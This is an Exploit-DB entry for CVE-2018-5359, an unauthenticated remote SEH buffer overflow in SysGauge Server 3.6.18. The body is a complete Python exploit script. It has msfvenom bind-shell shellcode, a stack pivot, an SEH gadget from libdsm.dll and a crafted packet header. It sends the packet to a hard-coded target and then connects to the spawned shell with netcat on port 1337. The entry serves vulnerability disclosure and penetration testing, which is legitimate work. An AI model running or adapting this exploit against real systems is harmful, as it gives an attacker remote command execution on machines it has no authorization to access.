SysGauge Server 3.6.18 - Buffer Overflow

EDB-ID: 43588
Author: Ahmad Mahfouz
Published: 2018-01-15
CVE: CVE-2018-5359
Type: Remote
Platform: Windows
Vulnerable App: Download Vulnerable Application

 # Exploit Author: Ahmad Mahfouz  
# Description: Sysgauge Server Unauthenticated Remote Buffer Overflow SEH
# Contact: http://twitter.com/eln1x
# Date: 12/01/2018
# CVE: CVE-2018-5359
# Version: 3.6.18
# Tested on: Windows 7 x64
# Software Link: hhttp://www.sysgauge.com/setups/sysgaugesrv_setup_v3.6.18.exe



from struct import pack
from os import system
from sys import exit
from time import sleep
import socket



port = 9221
host = '192.168.72.231'


stage1 = "\x83\xc4\x7f" *16 # metasm > add esp,127
stage1 += "\x83\xc4\x04"    # metasm > add esp,4
stage1 +=  "\xff\xe4"       # metasm > jmp esp
# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=1337 -f py -b '\x02'

buf =  ""
buf += "\xb8\x01\x69\xed\x6f\xdd\xc3\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\x43\x67\x0f"
buf += "\x9a\xbf\x9f\x4d\x65\x3f\x60\x32\xef\xda\x51\x72\x8b"
buf += "\xaf\xc2\x42\xdf\xfd\xee\x29\x8d\x15\x64\x5f\x1a\x1a"
buf += "\xcd\xea\x7c\x15\xce\x47\xbc\x34\x4c\x9a\x91\x96\x6d"
buf += "\x55\xe4\xd7\xaa\x88\x05\x85\x63\xc6\xb8\x39\x07\x92"
buf += "\x00\xb2\x5b\x32\x01\x27\x2b\x35\x20\xf6\x27\x6c\xe2"
buf += "\xf9\xe4\x04\xab\xe1\xe9\x21\x65\x9a\xda\xde\x74\x4a"
buf += "\x13\x1e\xda\xb3\x9b\xed\x22\xf4\x1c\x0e\x51\x0c\x5f"
buf += "\xb3\x62\xcb\x1d\x6f\xe6\xcf\x86\xe4\x50\x2b\x36\x28"
buf += "\x06\xb8\x34\x85\x4c\xe6\x58\x18\x80\x9d\x65\x91\x27"
buf += "\x71\xec\xe1\x03\x55\xb4\xb2\x2a\xcc\x10\x14\x52\x0e"
buf += "\xfb\xc9\xf6\x45\x16\x1d\x8b\x04\x7f\xd2\xa6\xb6\x7f"
buf += "\x7c\xb0\xc5\x4d\x23\x6a\x41\xfe\xac\xb4\x96\x01\x87"
buf += "\x01\x08\xfc\x28\x72\x01\x3b\x7c\x22\x39\xea\xfd\xa9"
buf += "\xb9\x13\x28\x47\xb1\xb2\x83\x7a\x3c\x04\x74\x3b\xee"
buf += "\xed\x9e\xb4\xd1\x0e\xa1\x1e\x7a\xa6\x5c\xa1\x81\x0e"
buf += "\xe8\x47\xe3\x60\xbc\xd0\x9b\x42\x9b\xe8\x3c\xbc\xc9"
buf += "\x40\xaa\xf5\x1b\x56\xd5\x05\x0e\xf0\x41\x8e\x5d\xc4"
buf += "\x70\x91\x4b\x6c\xe5\x06\x01\xfd\x44\xb6\x16\xd4\x3e"
buf += "\x5b\x84\xb3\xbe\x12\xb5\x6b\xe9\x73\x0b\x62\x7f\x6e"
buf += "\x32\xdc\x9d\x73\xa2\x27\x25\xa8\x17\xa9\xa4\x3d\x23"
buf += "\x8d\xb6\xfb\xac\x89\xe2\x53\xfb\x47\x5c\x12\x55\x26"
buf += "\x36\xcc\x0a\xe0\xde\x89\x60\x33\x98\x95\xac\xc5\x44"
buf += "\x27\x19\x90\x7b\x88\xcd\x14\x04\xf4\x6d\xda\xdf\xbc"
buf += "\x9e\x91\x7d\x94\x36\x7c\x14\xa4\x5a\x7f\xc3\xeb\x62"
buf += "\xfc\xe1\x93\x90\x1c\x80\x96\xdd\x9a\x79\xeb\x4e\x4f"
buf += "\x7d\x58\x6e\x5a"

shellcode = buf

payload = 'A' * 124             #offset
payload +=  '\xeb\x12\x90\x90'  #jmp over seh retrun value
payload += '\x3b\x38\x01\x10' * 4   # 0x1001383b : pop edi # pop esi # ret 0x04 | ascii {PAGE_EXECUTE_READ} [libdsm.dll]
payload += stage1
payload +=  '\x90' * (1000 - len(payload) - len(shellcode))
payload += shellcode



header = '\x75\x19\xba\xab'
header += '\x03\x00\x00\x00'
header += '\x00\x40\x00\x00'
header += pack('<I', len(payload))
header += pack('<I', len(payload))
header += pack('<I', ord(payload[-1]))
packet = header
packet += payload





s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    print "[*] Testing connection to tatget %s:%s" %(host,port)
    s.connect((host, port))

except:

    print "[-] Unable to communicate to target %s:%s" %(host,port)
    exit()



s.send(packet)

print "[*] Payload Sent.."
print "[*] Connecting to bind shell %s:1337 .." %host
sleep(3)
system("nc %s 1337"%host)

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